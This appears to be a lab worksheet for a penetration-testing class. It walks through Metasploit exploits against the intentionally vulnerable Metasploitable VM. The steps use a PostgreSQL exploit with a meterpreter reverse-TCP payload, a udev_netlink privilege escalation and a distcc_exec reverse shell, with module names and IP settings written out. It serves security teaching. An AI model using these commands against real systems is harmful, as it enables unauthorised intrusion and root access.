**Exploit Demo**

1. Open the *Kali 2.0* VM and open the terminal window
2. Open Metasploitable and login using
   1. Username: msfconsole
   2. Password: msfconsole
3. Start Metasploit by typing in the command *msfconsole* in the Kali terminal
4. *Search PostgreSQL* to find services
5. Select the exploit that you want to use for the attack *use exploit/linux/postgres/postgres\_payload*
6. Show all of the available payloads for the exploit *show payloads*
7. Select the payload that you want to use *set payload linux/x86/meterpreter/reverse\_tcp*
8. *Show options*
9. Change the ports to yours and your target’s IP addresses
   1. Set RHOST 192.168.78. 129
   2. Set RPORT 5432
   3. Set LHOST 192.168.78.130
10. *Set password postgres*
11. *Show options* to make sure the ports are set correctly
12. Use the exploit by typing *exploit*
13. *Background* so that we can use another exploit
14. *Set exploit/linux/local/udev\_netlink*
15. *Show options*
16. *Set session 1*
17. *Exploit* to escalate your user privileges
18. whoami

**REVIEW**

**1)msfconsole**

**2)search**

**3) use exploit**

**4) show payloads**

**5) set payloads**

**6) show options**

**7) set options &values**

**8) exploit**

**On your own..**

***Complete the tasks in order..***

1) use exploit/unix/misc/distcc\_exec

2) show payloads

3) set payload cmd/unix/reverse

4) show options

5*) set options if neccessary*

7) exploit

8) uname -a

9) ifconfig

10) ls

11) whoami